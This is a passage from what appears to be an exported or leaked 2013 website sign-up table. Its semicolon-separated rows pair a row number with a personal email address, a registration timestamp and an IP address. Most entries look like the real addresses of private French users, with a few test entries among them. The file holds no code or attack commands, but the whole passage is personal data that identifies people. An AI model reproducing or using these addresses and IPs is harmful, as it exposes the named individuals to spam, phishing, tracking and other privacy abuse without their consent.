16:37:04;88.167.3.121 +43;cardonsp@orange.fr;2013-09-09 17:41:21;90.13.236.171 +44;plaquetm@yahoo.fr;2013-09-09 19:06:04;81.244.49.119 +45;st_cornet_@hotmail.com;2013-09-09 20:56:40;80.201.103.99 +46;izaze@live.fr;2013-09-10 09:58:40;195.137.181.24 +47;astrid.cahu@gmail.com;2013-09-10 22:52:12;90.62.59.122 +48;lyoko83000@gmail.com;2013-09-11 18:05:38;88.137.116.124 +49;intercours@hotmail.com;2013-09-15 13:44:32;82.229.222.169 +50;alias.marge31@gmail.com;2013-09-15 13:49:02;82.242.45.195 +52;claire.kerevel@live.fr;2013-09-16 17:48:29;80.11.70.195 +53;aurelie.geraux@gmail.com;2013-09-17 13:04:26;91.199.234.49 +54;camil22@hotmail.fr;2013-09-18 10:48:04;81.57.119.171 +55;tardos.mylene@orange.fr;2013-09-19 16:22:55;80.12.100.21 +56;sonia.beroud@gmail.com;2013-09-21 10:03:49;82.234.110.129 +57;sylvie.lelong87@sfr.fr;2013-09-22 14:55:21;88.138.56.96 +58;clemallibert@yahoo.fr;2013-09-23 15:36:20;81.57.119.171 +59;test@test.com;2013-09-23 15:37:52;109.22.169.24 +60;test@dsrre.fr;2013-09-25 10:01:24;109.22.169.24 +62;my.balaguer@gmail.com;2013-09-25 10:04:48;78.244.170.115 +63;test@superyoupi.com;2013-09-25 10:05:07;109.22.169.24 +64;titelolo1012@msn.com;2013-09-25 12:04:08;88.175.219.133 +65;claire_fabert@hotmail.fr;2013-09-25 12:04:11;87.67.84.25 +66;veronique.mailly@laposte.net;2013-09-25 12:04:30;90.61.8.214 +67;danieleadrien@aol.com;2013-09-25 12:05:40;195.93.102.5 +68;thieux.christine@orange.fr;2013-09-25 12:06:38;92.156.202.144 +69;myriam@maxiavenue.com;2013-09-25 12:07:02;82.228.34.163 +70;loffelga@hotmail.com;2013-09-25 12:07:02;31.32.95.52 +71;degonzaga.patricia@neuf.fr;2013-09-25 12:07:11;77.206.86.137 +72;osmanthus13@hotmail.com;2013-09-25 12:07:12;78.237.109.202 +73;ameline.muriel@orange.fr;2013-09-25 12:07:19;92.143.46.175 +74;kajazz@hotmail.fr;2013-09-25 12:07:20;90.21.242.18 +75;natdesmontagnes@hotmail.fr;2013-09-25 12:07:45;92.129.81.17 +76;thierrynatacha69@hotmail.fr;2013-09-25 12:08:15;90.29.212.57 +77;solerickson@noos.fr;2013-09-25 12:08:35;85.168.16.253 +78;guylaine@avenant.fr;2013-09-25 12:08:52;88.163.76.13 +79;jenkinsonfiona@hotmail.com;2013-09-25 12:08:52;86.74.61.143 +80;estelle.andrieu@gmail.com;2013-09-25 12:08:58;195.200.171.162 +81;catherine.grezes@orange.fr;2013-09-25 12:09:49;86.218.111.112 +82;mlada_@hotmail.com;2013-09-25 12:10:16;83.145.78.243 +83;bettybblue@orange.fr;2013-09-25 12:11:10;90.17.100.212 +84;dominiquecantrel@aol.com;2013-09-25 12:11:15;92.103.82.218 +85;ginette.six0136@orange.fr;2013-09-25 12:11:15;90.1.88.154 +86;gordolon.christine@neuf.fr;2013-09-25 12:12:02;62.39.254.91 +87;gachon.chrystele@orange.fr;2013-09-25 12:12:34;92.138.11.150 +88;bert.nel@neuf.fr;2013-09-25 12:12:59;86.67.161.124 +89;nikole86@hotmail.fr;2013-09-25 12:13:14;79.88.225.143 +90;carocutullic@yahoo.fr;2013-09-25 12:13:16;78.250.166.181 +91;coelho_helenamp@hotmail.com;2013-09-25 12:13:55;194.250.240.139 +92;elizabeth.lamouline@live.fr;2013-09-25 12:14:53;78.123.107.15 +93;blondomi@hotmail.fr;2013-09-25 12:14:57;82.249.249.232 +94;genevieve.gousset@laposte.net;2013-09-25 12:15:02;78.238.193.72 +95;carolinechaffiraud@yahoo.fr;2013-09-25 12:15:08;2.0.24.218 +96;chine.jonnier@yahoo.fr;2013-09-25 12:15:22;109.188.124.18 +97;ththeory@aol.com;2013-09-25 12:15:22;78.114.13.95 +98;martinemiesch@msn.com;2013-09-25 12:15:27;87.90.121.13 +99;h.mabut@orange.fr;2013-09-25 12:15:29;90.12.52.215 +100;epilon@leclerc-socapdis.com;2013-09-25 12:15:42;212.99.108.50 +101;joelle_lc@yahoo.fr;2013-09-25 12:16:18;84.103.167.142 +102;adrazbrigitte@yahoo.fr;2013-09-25 12:16:44;194.250.173.245 +103;lopes.sophie@gmail.com;2013-09-25 12:17:28;82.124.202.179 +104;jth@cegetel.net;2013-09-25 12:17:54;77.203.126.149 +105;heliosgare@yahoo.fr;2013-09-25 12:17:57;93.10.138.245 +106;murielle01.g@sfr.fr;2013-09-25 12:19:48;212.23.175.180 +107;legeremmanuelle@yahoo.fr;2013-09-25 12:20:08;193.253.227.142 +108;stefsy@gmail.com;2013-09-25 12:20:53;193.5.216.100 +109;chantereines2@wanadoo.fr;2013-09-25 12:21:01;90.3.125.159 +110;anita.quenel@sfr.fr;2013-09-25 12:22:37;109.9.86.97 +111;c.garry5@laposte.net;2013-09-25 12:22:52;82.238.113.191 +112;christine.laz@radiofrance.com;2013-09-25 12:22:55;91.223.73.95 +113;vassaultalexandra@hotmail.com;2013-09-25 12:23:43;109.209.103.9 +114;annie.12@passtime.fr;2013-09-25 12:24:31;93.24.185.182 +115;armelleflecheux@hotmail.fr;2013-09-25 12:25:09;193.252.222.80 +116;virginie.schmitt55@orange.fr;2013-09-25 12:25:14;2.12.39.44 +117;magicienne59@gmail.com;2013-09-25 12:26:14;77.84.36.124 +118;sylvie.vinas@wanadoo.fr;2013-09-25 12:26:32;92.133.29.170 +119;moulier@yahoo.fr;2013-09-25 12:26:46;90.9.95.243 +120;albibollet@hotmail.com;2013-09-25 12:27:17;88.162.74.52 +121;carocamiolo@orange.fr;2013-09-25 12:27:33;90.26.254.228 +122;sandrita.ledesma@gmail.com;2013-09-25 12:28:34;78.192.237.37 +123;monette0311@hotmail.fr;2013-09-25 12:28:38;92.148.167.109 +124;c.mendesnazare@orange.fr;2013-09-25 12:28:45;86.209.190.81 +125;regine.lemarie@orange.fr;2013-09-25 12:28:55;193.104.162.7 +126;herminelorreyte@gmail.com;2013-09-25 12:30:00;92.152.110.43 +127;patssou@gmail.com;2013-09-25 12:30:23;109.212.152.218 +128;nc56@netcourrier.com;2013-09-25 12:30:41;82.246.42.50 +129;chantalgentric@sfr.fr;2013-09-25 12:30:56;78.115.179.34 +130;nathaliegenin@voila.fr;2013-09-25 12:32:57;62.23.197.155 +131;rattier.florence@neuf.fr;2013-09-25 12:33:00;93.25.223.89 +132;maite.laligant@gmail.com;2013-09-25 12:34:34;194.206.102.86 +133;norbertperroud@aol.com;2013-09-25 12:34:50;109.9.114.104 +134;vgorvan@hotmail.fr;2013-09-25 12:35:00;2.2.162.185 +135;annie.marquillanes@orange.fr;2013-09-25 12:35:54;92.145.169.246 +136;eklaure@wanadoo.fr;2013-09-25 12:36:06;90.39.70.35 +137;alain.delmas.13@orange.fr;2013-09-25 12:36:50;90.61.91.100 +138;heloisenarfin@gmail.com;2013-09-25 12:36:51;109.26.12.231 +139;maiadore@hotmail.fr;2013-09-25 12:38:48;90.83.18.65 +140;severine.resse@yahoo.fr;2013-09-25 12:39:56;82.67.96.219 +141;mc.lavastrou@orange.fr;2013-09-25 12:41:21;109.222.33.81 +142;nathalie.alcachebury@sfr.fr;2013-09-25 12:41:30;77.84.5.250 +143;domino.orsini@gmail.com;2013-09-25 12:42:35;78.120.139.96 +144;sylvie.quillon@wanadoo.fr;2013-09-25 12:44:26;86.196.42.65 +145;chantalsimonnet@hotmail.fr;2013-09-25 12:44:48;79.86.123.88 +146;cathlp@yahoo.com;2013-09-25 12:45:52;70.82.121.192 +147;g.dejert@orange.fr;2013-09-25 12:46:06;90.60.163.14 +148;elodia.nour@laposte.net;2013-09-25 12:46:37;86.215.181.15 +149;sampietro.m@gmail.com;2013-09-25 12:47:19;92.145.90.192 +150;marylinegalas@yahoo.fr;2013-09-25 12:48:22;80.119.223.115 +151;michele.carle@neuf.fr;2013-09-25 12:48:35;77.206.238.229 +152;marieanne.paille@neuf.fr;2013-09-25 12:49:38;95.174.183.84 +153;loupiote26@wanadoo.fr;2013-09-25 12:49:49;92.144.200.72 +155;titoumary2009@hotmail.fr;2013-09-25 12:52:12;88.137.58.107 +156;danarebana@yahoo.fr;2013-09-25 12:52:32;92.129.13.32 +157;paulinezann@msn.com;2013-09-25 12:52:42;90.30.241.185 +158;seveema@gmail.com;2013-09-25 12:52:52;90.29.119.68 +159;eliette.oger@neuf.fr;2013-09-25 12:53:40;77.201.82.104 +160;emeline.villega@laposte.net;2013-09-25 12:53:55;90.38.46.19 +161;lausop30@hotmail.fr;2013-09-25 12:54:13;88.137.211.88 +162;liliane.berchet@orange.fr;2013-09-25 12:54:16;90.36.254.164 +163;gwennygwen49@yahoo.fr;2013-09-25 12:58:10;78.125.148.185 +164;anneroquet@hotmail.fr;2013-09-25 12:58:20;86.205.185.146 +165;christel.delahaye@aliceadsl.fr;2013-09-25 12:58:53;145.242.20.20 +166;christine.vaureux@sfr.fr;2013-09-25 12:58:59;77.197.176.193 +167;g.dewitte@orange.fr;2013-09-25 13:00:11;193.248.175.71 +168;legal.beatrice@orange.fr;2013-09-25 13:00:14;109.0.150.237 +169;amj.conseils@wanadoo.fr;2013-09-25 13:00:16;92.150.78.93 +170;beamarchal2@gmail.com;2013-09-25 13:00:17;176.179.93.54 +171;je-jourdain@hotmail.fr;2013-09-25 13:00:43;86.72.50.15 +173;joelle.le-honzec@orange.fr;2013-09-25 13:02:31;2.13.39.19 +174;asbrun@hotmail.fr;2013-09-25 13:03:49;109.22.115.29 +175;ymaga@hotmail.fr;2013-09-25 13:05:25;90.32.169.6 +176;domytrichard@yahoo.fr;2013-09-25 13:06:21;82.254.11.92 +177;s.raspail@9online.fr;2013-09-25 13:08:02;77.202.163.125 +178;pop.aline@free.fr;2013-09-25 13:09:41;85.170.99.131 +179;christelle.clement@axiane.com;2013-09-25 13:11:54;90.21.194.69 +180;jocelyne.bertrand@dbmail.com;2013-09-25 13:11:57;89.158.255.49 +181;marieduvert@yahoo.fr;2013-09-25 13:12:15;93.121.238.52 +182;laissue862@gmail.com;2013-09-25 13:12:44;78.155.143.75 +183;valeriek33@hotmail.fr;2013-09-25 13:12:53;78.244.0.191 +185;virginie.charpentier@voila.fr;2013-09-25 13:13:32;82.123.244.212 +186;bongiorno.laurence@aliceadsl.fr;2013-09-25 13:15:25;78.224.234.13 +187;martineblancbern@free.fr;2013-09-25 13:16:45;88.161.234.89 +188;veronique.landon@laposte.net;2013-09-25 13:17:13;82.123.96.86 +189;gerardreybier@orange.fr;2013-09-25 13:17:17;80.12.100.1 +190;caroline.vermeil@sfr.fr;2013-09-25 13:17:43;78.121.15.26 +191;beatrice.marie55@laposte.net;2013-09-25 13:17:46;213.245.175.193 +192;josette.guerout@dbmail.com;2013-09-25 13:17:53;176.179.166.85 +193;fran.izabel@free.fr;2013-09-25 13:18:08;82.236.132.74 +194;chone.paulette@orange.fr;2013-09-25 13:18:11;78.122.195.84 +195;beams.ruaud@free.fr;2013-09-25 13:18:41;78.243.71.53 +196;annie.dekeukelaere@wanadoo.fr;2013-09-25 13:19:26;86.198.164.154 +197;cajia@hotmail.fr;2013-09-25 13:20:07;81.65.236.161 +200;bsavalle@gmail.com;2013-09-25 13:22:04;2.14.43.174 +201;v56@orange.FR;2013-09-25 13:22:49;192.54.145.146 +202;moreletbelier@orange.fr;2013-09-25 13:24:01;83.193.101.89 +203;nadjisoureya@hotmail.fr;2013-09-25 13:24:38;91.213.15.203 +204;ameliehormiere@gmail.com;2013-09-25 13:25:02;89.91.73.99 +205;aribaut@yahoo.fr;2013-09-25 13:25:24;93.17.86.171 +206;josserand.family@wanadoo.fr;2013-09-25 13:27:40;90.42.119.178 +207;lquentric@hotmail.com;2013-09-25 13:28:01;84.100.183.181 +208;sophia.baeza@yahoo.fr;2013-09-25 13:28:28;88.166.23.25 +209;camille.lemaitrecathy@laposte.net;2013-09-25 13:31:00;193.248.230.64 +210;laurence.quentier@hotmail.fr;2013-09-25 13:31:48;86.214.160.126 +211;emmanuellepasquet@laposte.net;2013-09-25 13:31:52;217.167.22.195 +212;serenellav@free.fr;2013-09-25 13:32:08;88.162.50.30 +213;jourdoisa@orange.fr;2013-09-25 13:32:25;83.193.7.228 +214;michelepincemin@orange.fr;2013-09-25 13:32:41;195.212.199.56 +215;evy.goven@hotmail.fr;2013-09-25 13:32:53;109.2.202.238 +216;as_solanet@yahoo.fr;2013-09-25 13:33:04;148.188.192.60 +217;cctornil@gmail.com;2013-09-25 13:33:41;37.161.72.55 +218;sgiaiminiet@gmail.com;2013-09-25 13:33:53;195.221.249.6 +219;katikatu@orange.fr;2013-09-25 13:33:57;81.251.175.57 +220;dominoy@orange.fr;2013-09-25 13:34:12;90.45.182.94 +221;sophie.joliot@free.fr;2013-09-25 13:34:18;82.239.225.75 +222;pepinobleu@gmail.com;2013-09-25 13:34:39;188.64.240.37 +223;cbaie@orange.fr;2013-09-25 13:36:51;217.128.137.128 +224;astride.lecerf@orange.fr;2013-09-25 13:37:35;212.234.48.181 +225;famillevial@orange.fr;2013-09-25 13:38:01;212.234.83.212 +226;mzwatan@yahoo.fr;2013-09-25 13:38:06;83.203.188.180 +227;beesea@hotmail.fr;2013-09-25 13:38:26;92.146.148.34 +228;j.belbou@laposte.net;2013-09-25 13:38:57;188.62.154.43 +230;lebrun.isabelle@free.fr;2013-09-25 13:39:32;81.80.24.160 +231;mdavaze@orange.fr;2013-09-25 13:40:28;81.248.72.102 +232;rossijeanmarc@orange.fr;2013-09-25 13:40:30;83.195.14.250 +233;jacqueline.chataignier@dbmail.com;2013-09-25 13:40:52;89.227.169.212 +234;celine.aubron@club-internet.fr;2013-09-25 13:41:06;193.248.179.215 +235;pienkos.joelle@wanadoo.fr;2013-09-25 13:41:33;78.220.40.30 +236;didine_r@yahoo.fr;2013-09-25 13:41:49;83.114.106.193 +237;david.blanc25@wanadoo.fr;2013-09-25 13:42:11;90.5.174.198 +238;juliemathern@orange.fr;2013-09-25 13:43:57;92.156.117.108 +239;eliane_dariesbayle@yahoo.fr;2013-09-25 13:44:09;41.251.165.90 +240;malotvinca@hotmail.com;2013-09-25 13:46:01;78.225.148.33 +241;claude.berteas0679@orange.fr;2013-09-25 13:47:44;92.130.249.198 +242;lastrega03@hotmail.com;2013-09-25 13:48:22;212.23.175.181 +243;patchou16@hotmail.fr;2013-09-25 13:48:48;90.38.86.69 +244;pascal.l1@orange.fr;2013-09-25 13:49:37;90.38.86.69 +245;fabvrr@yahoo.fr;2013-09-25 13:51:05;86.215.82.219 +246;claudine.roussel.1@cegetel.net;2013-09-25 13:52:37;78.118.109.162 +248;mcvulliez@hotmail.com;2013-09-25 13:53:46;90.10.135.129 +249;vdufraisse@osp.fr;2013-09-25 13:55:09;195.134.167.35 +250;ibo.isabelle@orange.fr;2013-09-25 13:55:46;93.19.92.108 +251;michele.meyer32@orange.fr;2013-09-25 13:56:41;2.6.212.94 +252;sylvie.detaroni@gmail.com;2013-09-25 13:56:46;78.201.194.49 +253;buissonnathalie.b@orange.fr;2013-09-25 13:56:47;90.84.144.13 +255;marie-madeleine.le_floch@univ-orleans.fr;2013-09-25 13:57:31;194.167.30.129 +256;sandielucas@hotmail.com;2013-09-25 13:58:11;164.177.1.153 +257;gisele.odorici@gmail.com;2013-09-25 13:58:19;86.203.52.143 +258;dav_karine@yahoo.fr;2013-09-25 13:58:39;217.112.54.84 +259;y.francois.tissey@orange.fr;2013-09-25 14:00:22;91.88.152.141 +260;nathalie@theatre-du-cloitre.fr;2013-09-25 14:02:16;83.200.142.10 +261;payne027@free.fr;2013-09-25 14:02:34;88.162.144.33 +262;monique.sistach@gmail.com;2013-09-25 14:04:10;82.235.125.82 +263;cendrine_lassalle@hotmail.fr;2013-09-25 14:04:10;178.23.158.66 +264;madeleine.jourdan@orange.fr;2013-09-25 14:04:15;92.143.220.103 +265;huguette.ghisbain@dbmail.com;2013-09-25 14:04:37;89.227.177.30 +266;catlunet@hotmail.com;2013-09-25 14:04:56;90.61.24.226 +267;marielaure.garnault@wanadoo.fr;2013-09-25 14:04:58;78.237.137.137 +268;alain.pourchier@club.fr;2013-09-25 14:05:36;93.25.249.110 +269;raphael.munoz@neuf.fr;2013-09-25 14:05:38;77.204.85.191 +270;maryvonne.timon@orange.fr;2013-09-25 14:06:26;2.14.106.184 +271;s.deligny@neuf.fr;2013-09-25 14:06:41;91.230.0.56 +272;frederic.brunel7@orange.fr;2013-09-25 14:07:25;90.28.39.43 +273;jacqueline.wittmann@neuf.fr;2013-09-25 14:07:33;88.138.28.194 +274;marie.bression@free.fr;2013-09-25 14:07:57;82.236.166.93 +275;braut.brigitte@orange.fr;2013-09-25 14:08:19;90.3.246.75 +277;noyer.massif@orange.fr;2013-09-25 14:09:46;90.15.251.203 +278;jmclab@wanadoo.fr;2013-09-25 14:09:57;93.4.74.29 +279;info@pessinlocation.com;2013-09-25 14:10:14;90.56.159.233 +280;eilimeellag@hotmail.fr;2013-09-25 14:10:31;109.22.93.215 +281;celine.prima@free.fr;2013-09-25 14:11:03;88.173.247.36 +282;gildavalentin@gmail.com;2013-09-25 14:11:22;78.123.170.168 +283;lesmartichot@orange.fr;2013-09-25 14:11:42;90.49.211.166 +284;anne.fagnant@gmail.com;2013-09-25 14:12:45;91.179.50.141 +285;michelebrice@free.fr;2013-09-25 14:12:55;82.247.148.108 +286;pierrette.fargier@wanadoo.fr;2013-09-25 14:13:46;92.144.242.228 +287;jbouin@orange.fr;2013-09-25 14:13:46;90.5.237.244 +288;fabienne.kochert@wanadoo.fr;2013-09-25 14:14:08;90.44.161.91 +289;pons.suzan@orange.fr;2013-09-25 14:14:21;90.57.136.160 +290;ccastaigne@gmail.com;2013-09-25 14:15:05;90.45.128.210 +291;covacho.odile@gmail.com;2013-09-25 14:15:06;31.33.16.18 +292;vpsbrunet@gmail.com;2013-09-25 14:18:38;81.252.231.65 +293;raphaellelevant@yahoo.fr;2013-09-25 14:19:26;217.167.4.241 +294;mevcathy@hotmail.fr;2013-09-25 14:19:27;88.162.39.70 +295;ophelie.denis@voila.fr;2013-09-25 14:19:41;89.224.191.28 +296;SIMONE.LOGEL@WANADOO.FR;2013-09-25 14:19:59;109.217.82.171 +297;caroline66@ebuyclub.com;2013-09-25 14:22:14;80.11.95.210 +298;evelyne.clement@clement-sezanne.fr;2013-09-25 14:22:25;194.2.97.129 +300;Bbdenis2000@hotmail.fr;2013-09-25 14:23:25;213.223.165.172 +301;paco-dos-santos@orange.fr;2013-09-25 14:24:00;2.4.112.164 +302;marilou.souchet@orange.fr;2013-09-25 14:24:26;2.8.142.152 +303;christinebp@hotmail.fr;2013-09-25 14:25:20;88.164.192.48 +304;marylinejyky@orange.fr;2013-09-25 14:26:35;86.204.149.118 +305;dodyboop@live.fr;2013-09-25 14:28:02;212.195.181.128 +306;Fanncy@hotmail.fr;2013-09-25 14:28:22;84.168.25.158 +307;syldebem@aol.com;2013-09-25 14:28:39;93.0.214.115 +308;mh.grillon@yahoo.fr;2013-09-25 14:29:29;213.245.148.115 +309;nat.salvat@orange.fr;2013-09-25 14:31:03;86.219.197.207 +310;auteprovence@gmail.com;2013-09-25 14:31:24;193.251.31.54 +311;angelica6@live.fr;2013-09-25 14:31:29;84.98.91.30 +312;mariecup@yahoo.fr;2013-09-25 14:32:20;83.145.100.34 +313;nienie71@yahoo.fr;2013-09-25 14:33:05;217.108.115.37 +314;space.valentine@sfr.fr;2013-09-25 14:36:59;86.77.93.249 +315;ursula.marty@bbox.fr;2013-09-25 14:37:57;213.44.66.189 +316;eugenizam@yahoo.fr;2013-09-25 14:38:07;41.214.121.10 +317;sara.lecointre@ebuyclub.com;2013-09-25 14:39:10;155.250.255.141 +319;barbara@cugnet.fr;2013-09-25 14:40:09;90.57.182.95 +320;tonyomag@live.fr;2013-09-25 14:41:56;86.198.46.230 +321;catoupie@free.fr;2013-09-25 14:42:46;82.231.120.164 +322;o.abbad@orange.fr;2013-09-25 14:44:18;83.153.82.187 +323;micheline.corrard@orange.fr;2013-09-25 14:45:37;82.124.238.184 +324;michele.mayer@sfr.fr;2013-09-25 14:45:50;193.252.190.82 +325;c.fadat@laposte.net;2013-09-25 14:47:00;5.50.92.156 +326;yoyoganivet@sfr.fr;2013-09-25 14:47:09;109.13.164.22 +327;carolebx@gmail.com;2013-09-25 14:49:04;80.12.110.207 +328;chipie3@free.fr;2013-09-25 14:49:30;88.126.4.148 +329;sgtoffee83@hotmail.fr;2013-09-25 14:50:23;83.201.170.239 +330;valerie.c2a@orange.fr;2013-09-25 14:50:51;90.10.58.100 +331;fan.verdiere@orange.fr;2013-09-25 14:51:20;86.67.145.200 +332;yolande_m@msn.com;2013-09-25 14:54:21;82.246.166.37 +333;sophie.vaucelles@orange.fr;2013-09-25 14:55:08;90.12.28.31 +334;corinne7878@hotmail.fr;2013-09-25 14:56:08;79.82.252.63 +335;gelin.clotilde@neuf.fr;2013-09-25 14:56:19;78.113.237.90 +336;murielleloison@orange.fr;2013-09-25 14:56:40;109.222.165.61 +339;vallydarras@wanadoo.fr;2013-09-25 15:08:23;92.131.140.29 +340;acquarelli.augusteetanita@neuf.fr;2013-09-25 15:08:55;193.164.229.102 +341;sandrine.lescop0994@orange.fr;2013-09-25 15:09:59;2.11.118.42 +342;marylineverdier@free.fr;2013-09-25 15:12:22;78.206.186.19 +343;audetaillefer@hotmail.com;2013-09-25 15:12:34;82.226.184.199 +344;revegalette@gmail.com;2013-09-25 15:15:16;62.85.135.232 +345;bretaudeau.family@mageos.com;2013-09-25 15:16:24;195.101.138.149 +346;Laetimunoz@aol.com;2013-09-25 15:17:39;79.86.152.46 +347;nicole.detremmerie@sfr.fr;2013-09-25 15:18:37;178.19.10.165 +348;Marieghysel@wanadoo.fr;2013-09-25 15:19:20;72.251.244.12 +349;dekkichemalika@hotmail.fr;2013-09-25 15:19:29;109.9.26.186 +350;sydauv@sfr.fr;2013-09-25 15:22:49;78.127.69.160 +351;catherine.cloatre@laposte.net;2013-09-25 15:26:06;86.67.21.136 +352;stephanie_chopard_leonard@yahoo.fr;2013-09-25 15:26:08;83.196.59.98 +353;akima_dragon@hotmail.com;2013-09-25 15:26:59;88.188.65.163 +354;l.sylvie37@aliceadsl.fr;2013-09-25 15:28:10;88.171.98.76 +356;tatianawogenstahl@hotmail.fr;2013-09-25 15:36:48;93.26.19.99 +357;sotec.duall@wanadoo.fr;2013-09-25 15:39:48;82.121.173.86 +358;ssvisconti@aol.com;2013-09-25 15:43:05;84.103.126.126 +359;annie.pelte@hotmail.fr;2013-09-25 15:43:29;90.62.164.47 +360;liliane.vanmolle@skynet.be;2013-09-25 15:45:11;91.182.202.227 +361;camee1980@gmail.com;2013-09-25 15:46:04;79.83.231.167 +362;preau.nad@orange.fr;2013-09-25 15:46:15;81.251.57.13 +363;sylvette.bonnet@developpement-durable.gouv.fr;2013-09-25 15:46:16;212.23.175.180 +364;murielsoldati@wanadoo.fr;2013-09-25 15:46:59;109.208.153.251 +365;caroline.herou@sfr.fr;2013-09-25 15:47:41;80.82.235.222 +366;mallet.dom@free.fr;2013-09-25 15:48:27;88.164.242.101 +367;eledhwen7788@yahoo.fr;2013-09-25 15:48:30;82.237.40.191 +368;corinnefollain@neuf.fr;2013-09-25 15:49:43;86.71.234.241 +369;malhene@voila.fr;2013-09-25 15:52:27;89.81.218.65 +370;annie.terzariol@orange.fr;2013-09-25 15:55:07;90.39.148.45 +371;cancian.carole@laposte.net;2013-09-25 15:56:00;109.215.116.43 +372;smascreborri@yahoo.fr;2013-09-25 15:57:34;86.203.97.177 +373;valeriebalicki@sfr.fr;2013-09-25 16:01:04;86.192.120.174 +374;mailing50@yahoo.fr;2013-09-25 16:01:43;83.152.44.119 +375;anne.lecoffre@neuf.fr;2013-09-25 16:05:00;93.4.190.163 +376;lydiacolleaux@yahoo.fr;2013-09-25 16:10:33;89.2.129.140 +377;jjplouzen@orange.fr;2013-09-25 16:11:04;2.2.242.254 +378;joelle.61@orange.fr;2013-09-25 16:11:24;82.125.121.253 +379;cleochico@gmail.com;2013-09-25 16:12:36;78.227.67.138 +380;mvalessa@hotmail.fr;2013-09-25 16:13:00;93.0.125.94 +381;oldrey@hotmail.fr;2013-09-25 16:14:51;78.250.144.233 +382;fx.piedfort@wanadoo.fr;2013-09-25 16:15:12;90.17.204.187 +383;beatrice.coupas@laposte.net;2013-09-25 16:19:34;88.183.36.133 +384;elodie.balaban@laposte.net;2013-09-25 16:20:01;85.14.182.94 +385;ccfalzon@free.fr;2013-09-25 16:25:04;88.187.47.210 +386;annelamant@wanadoo.fr;2013-09-25 16:25:20;86.208.248.10 +387;oukiak@wanadoo.fr;2013-09-25 16:28:13;134.246.58.196 +388;stephanie.delbecq@laposte.net;2013-09-25 16:30:45;78.244.61.149 +389;Coralie27@hotmail.fr;2013-09-25 16:30:47;188.62.133.154 +390;cgollnhofer@free.fr;2013-09-25 16:31:25;46.218.94.254 +391;magali.clement@gmail.com;2013-09-25 16:31:33;145.242.20.20 +393;fonderemonique@orange.fr;2013-09-25 16:34:17;90.5.40.126 +394;little_pink_key@hotmail.fr;2013-09-25 16:35:02;93.11.89.221 +395;symagibl@gmail.com;2013-09-25 16:36:02;86.200.211.100 +396;maryline.lequitte@hotmail.fr;2013-09-25 16:38:20;128.140.141.3 +397;lydia-r@hotmail.fr;2013-09-25 16:41:52;89.92.120.17 +398;risbette@hotmail.fr;2013-09-25 16:42:35;78.241.161.67 +399;amarie15@neuf.fr;2013-09-25 16:44:17;109.10.126.84 +400;marie.becue@bbox.fr;2013-09-25 16:47:40;89.90.174.174 +401;ac.jannier2@orange.fr;2013-09-25 16:48:36;81.51.116.189 +403;rozbroj.cathy@orange.fr;2013-09-25 16:50:43;89.185.51.82 +404;lpoulard@wanadoo.fr;2013-09-25 16:54:51;86.216.162.169 +405;pcpascalechretien@gmail.com;2013-09-25 16:55:13;86.68.10.140 +406;mjoghenassia@yahoo.fr;2013-09-25 16:56:56;82.234.62.32 +407;juvavi@hotmail.fr;2013-09-25 16:57:17;2.1.246.94 +408;dg.besancon@orange.fr;2013-09-25 16:57:54;83.196.14.74 +409;e.lecoz@voila.fr;2013-09-25 16:58:35;81.255.80.41 +410;valerie.rouaud@gmail.com;2013-09-25 17:00:28;88.163.83.234 +411;cmchrisdom@aol.com;2013-09-25 17:05:02;79.87.166.212 +413;lbonneau@bcmp.fr;2013-09-25 17:12:55;193.251.189.56 +414;velvet.mccoy@free.fr;2013-09-25 17:20:45;82.245.181.201 +415;TB.Formation@wanadoo.fr;2013-09-25 17:21:58;90.41.227.250 +417;chrislc29@yahoo.fr;2013-09-25 17:22:28;31.32.85.217 +418;beatrice.lavandrier@hotmail.fr;2013-09-25 17:22:48;86.200.254.233 +419;edithlete@yahoo.fr;2013-09-25 17:23:46;90.6.186.191 +420;hugues.frederique@orange.fr;2013-09-25 17:25:19;86.218.190.189 +421;caroline.yris@wanadoo.fr;2013-09-25 17:25:23;86.202.118.153 +422;sylvia.babin@laposte.net;2013-09-25 17:25:25;84.100.232.100 +423;isabelle.mehaux@wanadoo.fr;2013-09-25 17:27:31;82.121.156.147 +424;catherine.galland06@orange.fr;2013-09-25 17:29:33;90.28.17.105 +425;michael.demessine@wanadoo.fr;2013-09-25 17:29:42;90.56.172.77 +426;fransudre@wanadoo.fr;2013-09-25 17:30:43;90.20.75.115 +427;claudie.larragueta@hotmail.fr;2013-09-25 17:30:57;2.1.134.55 +429;karsam@neuf.fr;2013-09-25 17:33:22;90.25.139.96 +430;3camelias@free.fr;2013-09-25 17:37:21;88.163.216.210 +431;zubora@orange.fr;2013-09-25 17:38:31;90.18.210.9 +432;elisur31@gmail.com;2013-09-25 17:39:24;93.24.12.173 +433;marie-pierre.gontier@orange.fr;2013-09-25 17:40:01;90.51.65.162 +434;annelisepagnier@gmail.com;2013-09-25 17:40:41;149.154.84.91 +435;singh.baljinder@neuf.fr;2013-09-25 17:41:05;31.32.205.136 +436;marlo.jak@hotmail.fr;2013-09-25 17:41:34;83.193.151.79 +437;delphine.massidda@gmail.com;2013-09-25 17:43:37;78.247.192.14 +438;mutel.samuel@orange.fr;2013-09-25 17:47:16;90.62.12.180 +439;fred.d31@hotmail.fr;2013-09-25 17:47:38;81.67.211.0 +440;linoa06@sfr.fr;2013-09-25 17:47:41;109.210.213.33 +441;anne.larski@bbox.fr;2013-09-25 17:47:53;89.83.229.50 +442;martine.thouard@laposte.net;2013-09-25 17:50:34;77.196.144.167 +443;olivia.dhordain@yahoo.fr;2013-09-25 17:51:07;88.169.99.226 +444;agathe.bioules@dbmail.com;2013-09-25 17:53:10;89.92.112.126 +445;dumas.sylvie@voila.fr;2013-09-25 17:53:22;88.176.231.221 +446;iglesias.vic@gmail.com;2013-09-25 17:54:11;82.121.218.73 +447;francoise.delaveau@hotmail.fr;2013-09-25 17:55:06;82.229.194.98 +448;claudine.claude85@wanadoo.fr;2013-09-25 17:55:16;90.12.89.56 +449;clairedebeaune@yahoo.fr;2013-09-25 17:56:50;88.169.92.30 +450;delphine.helin@yahoo.fr;2013-09-25 17:58:07;87.231.16.217 +451;kiliad@hotmail.fr;2013-09-25 17:58:19;90.37.218.163 +452;gloriamch@gmail.com;2013-09-25 17:58:54;109.12.241.5 +453;allayscourrege@neuf.fr;2013-09-25 18:03:52;109.14.161.169 +454;rouyerevillemur@free.fr;2013-09-25 18:04:17;78.232.173.25 +455;gosselin.marina@wanadoo.fr;2013-09-25 18:06:52;92.155.155.230 +456;marina.elies.76@gmail.com;2013-09-25 18:08:16;92.90.19.28 +457;btoussaint@noos.fr;2013-09-25 18:16:32;89.156.63.116 